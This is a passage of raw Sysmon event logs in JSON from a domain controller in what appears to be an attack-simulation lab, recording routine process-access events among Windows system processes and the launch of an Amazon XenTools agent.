644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.304\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001013110200}\r\nProcessId: 2608\r\nImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nFileVersion: 1.0\r\nDescription: xenagent\r\nProduct: XENIFACE\r\nCompany: Amazon Inc.\r\nOriginalFileName: xenagent.exe\r\nCommandLine: \"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=3727559C2C2FE26EE668086FAF992815,SHA256=8130E7A850E0A088CB46F2595F7418CE9D73CE2F7750FC017ABC5CF3DED05F06,IMPHASH=C8B18E9A517CB77EA7AB3E7295D84FE8\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.304","ProcessGuid":"{90617006-3FE4-5F2D-0000-001013110200}","Image":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","FileVersion":"1.0","Description":"xenagent","Product":"XENIFACE","Company":"Amazon Inc.","OriginalFileName":"xenagent.exe","CommandLine":"\"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=3727559C2C2FE26EE668086FAF992815,SHA256=8130E7A850E0A088CB46F2595F7418CE9D73CE2F7750FC017ABC5CF3DED05F06,IMPHASH=C8B18E9A517CB77EA7AB3E7295D84FE8","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001013110200}\r\nTargetProcessId: 2608\r\nTargetImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001013110200}","TargetProcessId":"2608","TargetImage":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001013110200}\r\nTargetProcessId: 2608\r\nTargetImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001013110200}","TargetProcessId":"2608","TargetImage":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 